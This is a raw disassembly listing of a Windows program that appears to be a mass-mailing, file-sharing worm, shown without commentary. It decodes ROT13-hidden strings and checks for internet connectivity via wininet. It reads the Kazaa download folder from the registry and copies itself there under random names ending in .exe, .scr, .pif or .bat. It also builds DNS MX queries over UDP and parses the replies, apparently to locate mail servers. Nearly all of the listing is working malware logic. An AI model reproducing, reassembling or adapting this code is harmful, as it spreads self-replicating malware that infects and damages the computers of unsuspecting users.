- jle short loc_4A45B1
- mov ebx, [ebp+arg_0]
- and [ebp+var_17], 0
- lea eax, [ebp+String]
- mov [ebp+String], cl
- push eax ; lpString
- sub esi, ebx
- call ds:lstrlenA
- cmp esi, eax
- jz short loc_4A4590
- add eax, ebx
- add esi, ebx
- push edi ; lpString
- add esi, edi
- lea ebx, [eax+edi]
- call ds:lstrlenA
- mov ecx, edi
- sub ecx, esi
- cmp ebx, esi
- lea eax, [eax+ecx+1]
- jnb short loc_4A457C
- test eax, eax
- jle short loc_4A4590
- sub ebx, esi
-
- loc_4A4571: ; CODE XREF: sub_4A4489+EFj
- mov cl, [esi]
- mov [ebx+esi], cl
- inc esi
- dec eax
- jnz short loc_4A4571
- jmp short loc_4A4590
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A457C: ; CODE XREF: sub_4A4489+E0j
- dec eax
- test eax, eax
- jl short loc_4A4590
- lea ecx, [eax+ebx]
- sub esi, ebx
- inc eax
-
- loc_4A4587: ; CODE XREF: sub_4A4489+105j
- mov dl, [esi+ecx]
- mov [ecx], dl
- dec ecx
- dec eax
- jnz short loc_4A4587
-
- loc_4A4590: ; CODE XREF: sub_4A4489+C4j
- ; sub_4A4489+E4j ...
- lea eax, [ebp+String]
- push eax ; lpString
- call ds:lstrlenA
- mov esi, [ebp+arg_0]
- push eax
- lea eax, [ebp+String]
- push eax
- lea eax, [esi+edi]
- push eax
- call memcpy
- add esp, 0Ch
- inc [ebp+var_4]
-
- loc_4A45B1: ; CODE XREF: sub_4A4489+1Ej
- ; sub_4A4489+38j ...
- inc esi
- cmp byte ptr [esi+edi], 0
- jnz loc_4A44A3
- pop ebx
-
- loc_4A45BD: ; CODE XREF: sub_4A4489+13j
- mov eax, [ebp+var_4]
- pop edi
- pop esi
- leave
- retn
- sub_4A4489 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- ; int __cdecl sub_4A45C4(LPCSTR lpString,LPCSTR,char arglist)
- sub_4A45C4 proc near ; CODE XREF: sub_4A74DD+E6p
- ; sub_4A75FD+4Bp ...
-
- lpString = dword ptr 4
- arg_4 = dword ptr 8
- arglist = byte ptr 0Ch
-
- lea eax, [esp+arglist]
- push eax ; arglist
- push [esp+4+arg_4] ; LPCSTR
- push [esp+8+lpString] ; lpString
- call ds:lstrlenA
- add eax, [esp+8+lpString]
- push eax ; LPSTR
- call ds:wvsprintfA
- retn
- sub_4A45C4 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A45E3 proc near ; CODE XREF: sub_4A465E+11p
-
- var_38 = byte ptr -38h
- var_1C = byte ptr -1Ch
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 38h
- push esi
- push edi
- push 6
- mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
- pop ecx
- lea edi, [ebp+var_1C]
- repe movsd
- movsw
- movsb
- push 6
- mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
- pop ecx
- lea edi, [ebp+var_38]
- repe movsd
- push [ebp+arg_0]
- lea eax, [ebp+var_1C]
- movsw
- push eax
- movsb
- call sub_4A4285
- pop ecx
- pop ecx
- pop edi
- test eax, eax
- pop esi
- jz short loc_4A4633
- lea ecx, [ebp+var_1C]
- push 1Ah
- sub eax, ecx
- pop ecx
- add eax, 0Dh
- cdq
- idiv ecx
- mov al, [ebp+edx+var_1C]
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4633: ; CODE XREF: sub_4A45E3+3Aj
- push [ebp+arg_0]
- lea eax, [ebp+var_38]
- push eax
- call sub_4A4285
- pop ecx
- test eax, eax
- pop ecx
- jz short loc_4A4659
- lea ecx, [ebp+var_38]
- push 1Ah
- sub eax, ecx
- pop ecx
- add eax, 0Dh
- cdq
- idiv ecx
- mov al, [ebp+edx+var_38]
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4659: ; CODE XREF: sub_4A45E3+60j
- mov al, byte ptr [ebp+arg_0]
- leave
- retn
- sub_4A45E3 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A465E proc near ; CODE XREF: sub_4A3962+15p
- ; sub_4A3AA3+17p ...
-
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push esi
- mov esi, [esp+arg_4]
- push edi
- mov edi, [esp+4+arg_0]
-
- loc_4A4668: ; CODE XREF: sub_4A465E+1Bj
- mov al, [esi]
- test al, al
- jz short loc_4A467B
- push eax
- call sub_4A45E3
- mov [edi], al
- inc edi
- pop ecx
- inc esi
- jmp short loc_4A4668
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A467B: ; CODE XREF: sub_4A465E+Ej
- and byte ptr [edi], 0
- pop edi
- pop esi
- retn
- sub_4A465E endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A4681 proc near ; CODE XREF: .text:004A5BB9p
- ; sub_4A6C3B+2Fp
-
- ProcName = byte ptr -44h
- var_4 = byte ptr -4
-
- push ebp
- mov ebp, esp
- sub esp, 44h
- push esi
- lea eax, [ebp+ProcName]
- push offset aJvavarg_qyy ; "jvavarg.qyy"
- push eax
- call sub_4A465E
- pop ecx
- lea eax, [ebp+ProcName]
- pop ecx
- push eax ; lpModuleName
- call ds:GetModuleHandleA
- mov esi, eax
- test esi, esi
- jz short loc_4A46AD
- cmp esi, 0FFFFFFFFh
- jnz short loc_4A46C2
-
- loc_4A46AD: ; CODE XREF: sub_4A4681+25j
- lea eax, [ebp+ProcName]
- push eax ; lpLibFileName
- call ds:LoadLibraryA
- mov esi, eax
- test esi, esi
- jz short loc_4A46F1
- cmp esi, 0FFFFFFFFh
- jz short loc_4A46F1
-
- loc_4A46C2: ; CODE XREF: sub_4A4681+2Aj
- lea eax, [ebp+ProcName]
- push offset aVagreargtrgpba ; "VagreargTrgPbaarpgrqFgngr"
- push eax
- call sub_4A465E
- pop ecx
- lea eax, [ebp+ProcName]
- pop ecx
- push eax ; lpProcName
- push esi ; hModule
- call ds:GetProcAddress
- test eax, eax
- jz short loc_4A46F1
- lea ecx, [ebp+var_4]
- push 0
- push ecx
- call eax
- neg eax
- sbb eax, eax
- neg eax
- jmp short loc_4A46F4
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A46F1: ; CODE XREF: sub_4A4681+3Aj
- ; sub_4A4681+3Fj ...
- push 2
- pop eax
-
- loc_4A46F4: ; CODE XREF: sub_4A4681+6Ej
- pop esi
- leave
- retn
- sub_4A4681 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A46F7 proc near ; CODE XREF: sub_4A48B6+24p
-
- SubKey = byte ptr -168h
- ValueName = byte ptr -128h
- NewFileName = byte ptr -108h
- cbData = dword ptr -8
- hKey = dword ptr -4
- lpExistingFileName= dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 168h
- push ebx
- lea eax, [ebp+SubKey]
- push offset aFbsgjnerXnmnnG ; "Fbsgjner\\Xnmnn\\Genafsre"
- push eax
- mov [ebp+cbData], 100h
- call sub_4A465E
- lea eax, [ebp+ValueName]
- push offset aQyqve0 ; "QyQve0"
- push eax
- call sub_4A465E
- push [ebp+cbData]
- xor ebx, ebx
- lea eax, [ebp+NewFileName]
- push ebx
- push eax
- call memset
- add esp, 1Ch
- lea eax, [ebp+hKey]
- push eax ; phkResult
- push 1 ; samDesired
- lea eax, [ebp+SubKey]
- push ebx ; ulOptions
- push eax ; lpSubKey
- push 80000001h ; hKey
- call ds:RegOpenKeyExA
- test eax, eax
- jnz loc_4A48B3
- lea eax, [ebp+cbData]
- push eax ; lpcbData
- lea eax, [ebp+NewFileName]
- push eax ; lpData
- push ebx ; lpType
- lea eax, [ebp+ValueName]
- push ebx ; lpReserved
- push eax ; lpValueName
- push [ebp+hKey] ; hKey
- call ds:RegQueryValueExA
- test eax, eax
- jnz loc_4A48B3
- push [ebp+hKey]
- call ds:RegCloseKey
- cmp [ebp+NewFileName], bl
- jz loc_4A48B3
- push esi
- mov esi, ds:lstrlenA
- push edi
- lea eax, [ebp+NewFileName]
- lea edi, [ebp+NewFileName]
- push eax ; lpString
- dec edi
- call esi ; lstrlenA
- cmp byte ptr [eax+edi], 2Fh
- jnz short loc_4A47C5
- lea eax, [ebp+NewFileName]
- push eax ; lpString
- call esi ; lstrlenA
- mov byte ptr [eax+edi], 5Ch
-
- loc_4A47C5: ; CODE XREF: sub_4A46F7+BFj
- lea eax, [ebp+NewFileName]
- push eax ; lpString
- call esi ; lstrlenA
- cmp byte ptr [eax+edi], 5Ch
- mov edi, ds:lstrcatA
- jz short loc_4A47E8
- lea eax, [ebp+NewFileName]
- push offset String2 ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
-
- loc_4A47E8: ; CODE XREF: sub_4A46F7+E1j
- call sub_4A4221
- movzx eax, ax
- push 7
- cdq
- pop ecx
- idiv ecx
- lea eax, [ebp+NewFileName]
- push ds:dword_4A1190[edx*4]
- push eax ; lpString
- call esi ; lstrlenA
- lea eax, [ebp+eax+NewFileName]
- push eax
- call sub_4A465E
- pop ecx
- lea eax, [ebp+NewFileName]
- pop ecx
- push offset a__1 ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- call sub_4A4221
- movzx eax, ax
- push 6
- cdq
- pop ecx
- idiv ecx
- cmp edx, ebx
- jl short loc_4A4883
- cmp edx, 1
- jle short loc_4A486E
- cmp edx, 3
- jle short loc_4A4859
- cmp edx, 4
- jnz short loc_4A4883
- lea eax, [ebp+NewFileName]
- push offset aPi ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- push offset aF ; "f"
- jmp short loc_4A4896
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4859: ; CODE XREF: sub_4A46F7+146j
- lea eax, [ebp+NewFileName]
- push offset aSc ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- push offset aR ; "r"
- jmp short loc_4A4896
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A486E: ; CODE XREF: sub_4A46F7+141j
- lea eax, [ebp+NewFileName]
- push offset aEx ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- push offset aE ; "e"
- jmp short loc_4A4896
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4883: ; CODE XREF: sub_4A46F7+13Cj
- ; sub_4A46F7+14Bj
- lea eax, [ebp+NewFileName]
- push offset aBa ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
- push offset aT ; lpString2
-
- loc_4A4896: ; CODE XREF: sub_4A46F7+160j
- ; sub_4A46F7+175j ...
- lea eax, [ebp+NewFileName]
- push eax ; lpString1
- call edi ; lstrcatA
- lea eax, [ebp+NewFileName]
- push 1 ; bFailIfExists
- push eax ; lpNewFileName
- push [ebp+lpExistingFileName] ; lpExistingFileName
- call ds:CopyFileA
- pop edi
- pop esi
-
- loc_4A48B3: ; CODE XREF: sub_4A46F7+63j
- ; sub_4A46F7+88j ...
- pop ebx
- leave
- retn
- sub_4A46F7 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A48B6 proc near ; CODE XREF: main+6Bp
-
- Filename = byte ptr -104h
-
- push ebp
- mov ebp, esp
- sub esp, 104h
- lea eax, [ebp+Filename]
- push 104h ; nSize
- push eax ; lpFilename
- push 0 ; hModule
- call ds:GetModuleFileNameA
- lea eax, [ebp+Filename]
- push eax
- call sub_4A46F7
- pop ecx
- leave
- retn
- sub_4A48B6 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A48E2 proc near ; CODE XREF: sub_4A4C45+8Fp
-
- var_400 = word ptr -400h
- var_3FE = word ptr -3FEh
- var_3FC = word ptr -3FCh
- var_3FA = word ptr -3FAh
- var_3F8 = word ptr -3F8h
- var_3F6 = word ptr -3F6h
- var_3F4 = byte ptr -3F4h
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- arg_8 = dword ptr 10h
- arg_C = word ptr 14h
-
- push ebp
- mov ebp, esp
- sub esp, 400h
- push ebx
- push esi
- push edi
- mov edi, [ebp+arg_8]
- xor ebx, ebx
- push 400h
- lea eax, [ebp+var_400]
- push ebx
- push eax
- call memset
- add esp, 0Ch
- call ds:GetTickCount
- mov [ebp+var_400], ax
- mov ax, [ebp+arg_C]
- push 1
- mov [ebp+var_3FE], ax
- call ds:WS2_32_9
- xor edx, edx
- mov [ebp+var_3FC], ax
- cmp [edi], dl
- mov [ebp+var_3FA], bx
- mov [ebp+var_3F8], bx
- mov [ebp+var_3F6], bx
- jz short loc_4A49A0
-
- loc_4A494A: ; CODE XREF: sub_4A48E2+BAj
- lea esi, [ebx+edi]
- mov eax, ebx
- mov cl, [esi]
- jmp short loc_4A495C
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4953: ; CODE XREF: sub_4A48E2+7Cj
- cmp cl, 2Eh
- jz short loc_4A4960
- inc eax
- mov cl, [eax+edi]
-
- loc_4A495C: ; CODE XREF: sub_4A48E2+6Fj
- test cl, cl
- jnz short loc_4A4953
-
- loc_4A4960: ; CODE XREF: sub_4A48E2+74j
- mov cl, al
- sub cl, bl
- mov [ebp+edx+var_3F4], cl
- inc edx
- cmp ebx, eax
- jge short loc_4A498E
- sub eax, ebx
- lea edi, [ebp+edx+var_3F4]
- mov ecx, eax
- add ebx, eax
- mov dword ptr [ebp+arg_C], ecx
- shr ecx, 2
- repe movsd
- mov ecx, eax
- and ecx, 3
- add edx, eax
- repe movsb
-
- loc_4A498E: ; CODE XREF: sub_4A48E2+8Cj
- mov edi, [ebp+arg_8]
- cmp byte ptr [ebx+edi], 2Eh
- jnz short loc_4A4998
- inc ebx
-
- loc_4A4998: ; CODE XREF: sub_4A48E2+B3j
- cmp byte ptr [ebx+edi], 0
- jnz short loc_4A494A
- xor ebx, ebx
-
- loc_4A49A0: ; CODE XREF: sub_4A48E2+66j
- mov edi, ds:WS2_32_9
- and [ebp+edx+var_3F4], 0
- push 0Fh
- lea esi, [edx+0Dh]
- call edi ; WS2_32_9
- mov [ebp+esi+var_400], ax
- inc esi
- push 1
- inc esi
- call edi ; WS2_32_9
- push 10h
- mov [ebp+esi+var_400], ax
- push [ebp+arg_4]
- add esi, 2
- lea eax, [ebp+var_400]
- push ebx
- push esi
- push eax
- push [ebp+arg_0]
- call ds:WS2_32_20
- xor ecx, ecx
- pop edi
- test eax, eax
- setle cl
- pop esi
- mov eax, ecx
- pop ebx
- leave
- retn
- sub_4A48E2 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A49F3 proc near ; CODE XREF: sub_4A4AFE+2Cp
-
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- push ecx
- and [ebp+var_4], 0
- push esi
- mov esi, eax
- mov ax, [ebx+4]
- push edi
- mov edi, ds:WS2_32_15
- push eax
- call edi ; WS2_32_15
- test ax, ax
- jbe short loc_4A4A46
-
- loc_4A4A11: ; CODE XREF: sub_4A49F3+51j
- cmp esi, [ebp+arg_4]
- jge short loc_4A4A46
- mov eax, [ebp+arg_0]
- movzx eax, byte ptr [eax+esi]
- test eax, eax
- jnz short loc_4A4A26
- add esi, 5
- jmp short loc_4A4A34
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4A26: ; CODE XREF: sub_4A49F3+2Cj
- cmp eax, 40h
- jge short loc_4A4A31
- lea esi, [esi+eax+1]
- jmp short loc_4A4A37
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4A31: ; CODE XREF: sub_4A49F3+36j
- add esi, 6
-
- loc_4A4A34: ; CODE XREF: sub_4A49F3+31j
- inc [ebp+var_4]
-
- loc_4A4A37: ; CODE XREF: sub_4A49F3+3Cj
- mov ax, [ebx+4]
- push eax
- call edi ; WS2_32_15
- movzx eax, ax
- cmp [ebp+var_4], eax
- jl short loc_4A4A11
-
- loc_4A4A46: ; CODE XREF: sub_4A49F3+1Cj
- ; sub_4A49F3+21j
- mov eax, esi
- pop edi
- pop esi
- leave
- retn
- sub_4A49F3 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A4A4C proc near ; CODE XREF: sub_4A4AFE+8Dp
- ; sub_4A4C45+1D9p
-
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- push ecx
- push ecx
- and [ebp+var_8], 0
- and byte ptr [edi], 0
- and [ebp+var_4], 0
- push esi
- xor esi, esi
- cmp eax, [ebp+arg_0]
- jge short loc_4A4ACF
-
- loc_4A4A64: ; CODE XREF: sub_4A4A4C+70j
- cmp esi, 0FFh
- jge short loc_4A4ACB
- lea ecx, [ebx+eax]
- movzx edx, byte ptr [ecx]
- test edx, edx
- jz short loc_4A4AC0
- cmp edx, 40h
- jge short loc_4A4A92
- inc eax
- test edx, edx
- jle short loc_4A4A8B
-
- loc_4A4A80: ; CODE XREF: sub_4A4A4C+3Dj
- mov cl, [ebx+eax]
- mov [esi+edi], cl
- inc esi
- inc eax
- dec edx
- jnz short loc_4A4A80
-
- loc_4A4A8B: ; CODE XREF: sub_4A4A4C+32j
- mov byte ptr [esi+edi], 2Eh
- inc esi
- jmp short loc_4A4AB9
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4A92: ; CODE XREF: sub_4A4A4C+2Dj
- cmp [ebp+var_4], 0
- jnz short loc_4A4A9E
- add eax, 2
- mov [ebp+var_8], eax
-
- loc_4A4A9E: ; CODE XREF: sub_4A4A4C+4Aj
- mov ax, [ecx]
- mov [ebp+var_4], 1
- push eax
- call ds:WS2_32_15
- and eax, 3FFFh
- cmp eax, [ebp+arg_0]
- jge short loc_4A4ACB
-
- loc_4A4AB9: ; CODE XREF: sub_4A4A4C+44j
- cmp eax, [ebp+arg_0]
- jl short loc_4A4A64
- jmp short loc_4A4ACB
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4AC0: ; CODE XREF: sub_4A4A4C+28j
- inc eax
- jmp short loc_4A4ACB
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4AC3: ; CODE XREF: sub_4A4A4C+81j
- cmp byte ptr [edi+esi-1], 2Eh
- jnz short loc_4A4ACF
- dec esi
-
- loc_4A4ACB: ; CODE XREF: sub_4A4A4C+1Ej
- ; sub_4A4A4C+6Bj ...
- test esi, esi
- jg short loc_4A4AC3
-
- loc_4A4ACF: ; CODE XREF: sub_4A4A4C+16j
- ; sub_4A4A4C+7Cj
- and byte ptr [esi+edi], 0
- cmp [ebp+var_4], 0
- pop esi
- jz short locret_4A4ADD
- mov eax, [ebp+var_8]
-
- locret_4A4ADD: ; CODE XREF: sub_4A4A4C+8Cj
- leave
- retn
- sub_4A4A4C endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- ; int __fastcall sub_4A4ADF(LPVOID lpMem)
- sub_4A4ADF proc near ; CODE XREF: sub_4A4C45+221p
- test eax, eax
- jz short locret_4A4AFD
- push esi
-
- loc_4A4AE4: ; CODE XREF: sub_4A4ADF+1Bj
- mov esi, [eax]
- push eax ; lpMem
- push 0 ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapFree
- test esi, esi
- mov eax, esi
- jnz short loc_4A4AE4
- pop esi
-
- locret_4A4AFD: ; CODE XREF: sub_4A4ADF+2j
- retn
- sub_4A4ADF endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A4AFE proc near ; CODE XREF: sub_4A4C45+13Bp
-
- var_128 = byte ptr -128h
- var_124 = byte ptr -124h
- var_20 = word ptr -20h
- var_1E = word ptr -1Eh
- var_1C = word ptr -1Ch
- var_18 = dword ptr -18h
- var_14 = dword ptr -14h
- var_10 = dword ptr -10h
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 128h
- push edi
- push 0Ch
- pop eax
- xor edi, edi
- cmp [ebp+arg_4], eax
- mov [ebp+var_4], edi
- mov [ebp+var_C], edi
- jge short loc_4A4B1F
- xor eax, eax
- jmp loc_4A4C42
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4B1F: ; CODE XREF: sub_4A4AFE+18j
- push ebx
- push esi
- push [ebp+arg_4]
- mov esi, [ebp+arg_0]
- mov ebx, esi
- push esi
- call sub_4A49F3
- mov ebx, eax
- pop ecx
- cmp ebx, [ebp+arg_4]
- pop ecx
- jl short loc_4A4B3F
- xor eax, eax
- jmp loc_4A4C40
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4B3F: ; CODE XREF: sub_4A4AFE+38j
- movzx eax, word ptr [esi+0Ah]
- movzx ecx, word ptr [esi+8]
- add eax, ecx
- mov [ebp+var_8], edi
- movzx ecx, word ptr [esi+6]
- add eax, ecx
- cmp eax, edi
- mov [ebp+var_10], eax
- jle loc_4A4C3D
- jmp short loc_4A4B62
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4B5F: ; CODE XREF: sub_4A4AFE+139j
- mov esi, [ebp+arg_0]
-
- loc_4A4B62: ; CODE XREF: sub_4A4AFE+5Fj
- cmp ebx, [ebp+arg_4]
- jge loc_4A4C3D
- push 114h
- lea eax, [ebp+var_128]
- push 0
- push eax
- call memset
- push [ebp+arg_4]
- mov eax, ebx
- lea edi, [ebp+var_124]
- mov ebx, esi
- call sub_4A4A4C
- mov ebx, eax
- add esp, 10h
- lea eax, [ebx+0Ah]
- cmp eax, [ebp+arg_4]
- jge loc_4A4C3D
- mov ax, [ebx+esi]
- mov edi, ds:WS2_32_15
- push eax
- call edi ; WS2_32_15
- inc ebx
- mov [ebp+var_20], ax
- inc ebx
- mov ax, [ebx+esi]
- push eax
- call edi ; WS2_32_15
- add ebx, 6
- mov [ebp+var_1E], ax
- mov ax, [ebx+esi]
- push eax
- call edi ; WS2_32_15
- mov [ebp+var_1C], ax
- inc ebx
- movzx eax, ax
- inc ebx
- add eax, ebx
- mov [ebp+var_18], ebx
- cmp eax, [ebp+arg_4]
- jg short loc_4A4C3D
- mov esi, 124h
- push esi ; dwBytes
- push 0 ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapAlloc
- mov edi, eax
- test edi, edi
- mov [ebp+var_14], edi
- jz short loc_4A4C3D
- push esi
- push 0
- push edi
- call memset
- add esp, 0Ch
- lea esi, [ebp+var_128]
- push 45h
- pop ecx
- repe movsd
- movzx eax, [ebp+var_1C]
- mov ecx, [ebp+var_4]
- add ebx, eax
- mov eax, [ebp+var_14]
- mov [ebp+var_4], eax
- and dword ptr [eax], 0
- test ecx, ecx
- jnz short loc_4A4C2C
- mov [ebp+var_C], eax
- jmp short loc_4A4C2E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4C2C: ; CODE XREF: sub_4A4AFE+127j
- mov [ecx], eax
-
- loc_4A4C2E: ; CODE XREF: sub_4A4AFE+12Cj
- inc [ebp+var_8]
- mov eax, [ebp+var_8]
- cmp eax, [ebp+var_10]
- jl loc_4A4B5F
-
- loc_4A4C3D: ; CODE XREF: sub_4A4AFE+59j
- ; sub_4A4AFE+67j ...
- mov eax, [ebp+var_C]
-
- loc_4A4C40: ; CODE XREF: sub_4A4AFE+3Cj
- pop esi
- pop ebx
-
- loc_4A4C42: ; CODE XREF: sub_4A4AFE+1Cj
- pop edi
- leave
- retn
- sub_4A4AFE endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A4C45 proc near ; CODE XREF: sub_4A4EC8+11p
-
- var_168 = dword ptr -168h
- var_164 = dword ptr -164h
- var_160 = dword ptr -160h
- var_15C = dword ptr -15Ch
- lpMem = dword ptr -158h
- var_154 = dword ptr -154h
- var_150 = dword ptr -150h
- var_14C = dword ptr -14Ch
- var_144 = dword ptr -144h
- var_130 = dword ptr -130h
- var_12C = dword ptr -12Ch
- var_120 = dword ptr -120h
- var_11C = dword ptr -11Ch
- var_118 = dword ptr -118h
- Mem = dword ptr -114h
- var_110 = dword ptr -110h
- var_2C = dword ptr -2Ch
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- arg_8 = dword ptr 0Ch
-
- mov eax, [esp+arg_8] ; lpMem
- sub esp, 128h
- push ebx
- push ebp
- push esi
- mov esi, ds:GetProcessHeap
- xor ebp, ebp
- push 1000h ; dwBytes
- push ebp ; dwFlags
- mov dword ptr [eax], 1
- call esi ; GetProcessHeap
- push eax ; hHeap
- call ds:HeapAlloc
- mov ebx, eax
- cmp ebx, ebp
- jnz short loc_4A4C7C
- xor eax, eax ; lpMem
- jmp loc_4A4EBE
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4C7C: ; CODE XREF: sub_4A4C45+2Ej
- push edi
- push 11h
- push 2
- push 2
- call ds:WS2_32_23
- mov edi, eax
- cmp edi, ebp
- mov [esp+144h+var_120], edi
- jz loc_4A4EB0
- cmp edi, 0FFFFFFFFh
- jz loc_4A4EB0
- mov [esp+144h+var_130], ebp
- jmp short loc_4A4CAC
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4CA6: ; CODE XREF: sub_4A4C45+236j
- mov edi, [esp+144h+var_120]
- xor ebp, ebp
-
- loc_4A4CAC: ; CODE XREF: sub_4A4C45+5Fj
- cmp [esp+144h+var_130], ebp
- mov [esp+144h+var_12C], ebp
- jnz short loc_4A4CBD
- push 100h
- jmp short loc_4A4CBE
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4CBD: ; CODE XREF: sub_4A4C45+6Fj
- push ebp
-
- loc_4A4CBE: ; CODE XREF: sub_4A4C45+76j
- call ds:WS2_32_9
- push eax
- push [esp+14Ch+var_8]
- push [esp+150h+var_C]
- push edi
- call sub_4A48E2
- add esp, 10h
- test eax, eax
- jnz loc_4A4E72
- push 0Ch
- lea eax, [esp+14Ch+var_11C]
- pop esi
- mov [esp+148h+var_110], edi
- push eax
- push ebp
- lea eax, [esp+150h+Mem] ; lpMem
- push ebp
- push eax
- push ebp
- mov [esp+15Ch+Mem], 1
- mov [esp+15Ch+var_11C], esi
- mov [esp+15Ch+var_118], ebp
- call ds:WS2_32_18
- test eax, eax
- jle loc_4A4E72
- push 4
- push ebp
- push ebx
- call memset
- add esp, 0Ch
- push ebp
- push 1000h
- push ebx
- push edi
- call ds:WS2_32_16
- mov ebp, eax
- test ebp, ebp
- mov [esp+16Ch+var_144], ebp
- jle loc_4A4E72
- cmp ebp, esi
- jbe loc_4A4E72
- mov ax, [ebx+2] ; lpMem
- mov edi, ds:WS2_32_15
- push eax
- call edi ; WS2_32_15
- mov si, ax
- and esi, 0Fh
- cmp esi, 3
- jz loc_4A4E83
- cmp esi, 2
- jnz short loc_4A4D76
- mov ax, [ebx+2] ; lpMem
- push eax
- call edi ; WS2_32_15
- test al, al
- js loc_4A4E83
-
- loc_4A4D76: ; CODE XREF: sub_4A4C45+120j
- test esi, esi
- jnz loc_4A4E72
- push ebp
- push ebx
- call sub_4A4AFE
- pop ecx
- mov [esp+178h+var_154], eax
- test eax, eax
- pop ecx
- jz loc_4A4E72
- and [esp+174h+lpMem], esi
- and [esp+174h+var_15C], esi
- mov edi, eax
- mov [esp+174h+var_164], edi
- jmp short loc_4A4DA7
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4DA3: ; CODE XREF: sub_4A4C45+217j
- mov edi, [esp+174h+var_164]
-
- loc_4A4DA7: ; CODE XREF: sub_4A4C45+15Cj
- cmp word ptr [edi+10Ah], 1
- jnz loc_4A4E54
- cmp word ptr [edi+108h], 0Fh
- jnz loc_4A4E54
- cmp word ptr [edi+10Ch], 3
- jb loc_4A4E54
- mov ebp, 108h
- push ebp ; dwBytes
- push 0 ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapAlloc
- mov esi, eax
- test esi, esi
- jz short loc_4A4E62
- push ebp
- push 0
- push esi
- call memset
- add edi, 110h
- add esp, 0Ch
- mov eax, [edi] ; lpMem
- mov ax, [eax+ebx] ; lpMem
- push eax
- call ds:WS2_32_15
- movzx eax, ax
- push [esp+178h+var_150]
- mov [esi+4], eax
- mov eax, [edi]
- lea ebp, [esi+8]
- inc eax
- mov edi, ebp
- inc eax
- call sub_4A4A4C
- cmp byte ptr [ebp+0], 0
- pop ecx
- jnz short loc_4A4E3C
- push esi ; lpMem
- push 0 ; dwFlags
- call ds:GetProcessHeap
- push eax ; hHeap
- call ds:HeapFree
- jmp short loc_4A4E50
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4E3C: ; CODE XREF: sub_4A4C45+1E3j
- mov eax, [esp+178h+var_15C] ; lpMem
- mov [esp+178h+var_15C], esi
- test eax, eax
- jnz short loc_4A4E4E
- mov [esp+178h+var_160], esi
- jmp short loc_4A4E50
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4E4E: ; CODE XREF: sub_4A4C45+201j
- mov [eax], esi
-
- loc_4A4E50: ; CODE XREF: sub_4A4C45+1F5j
- ; sub_4A4C45+207j
- mov edi, [esp+178h+var_168]
-
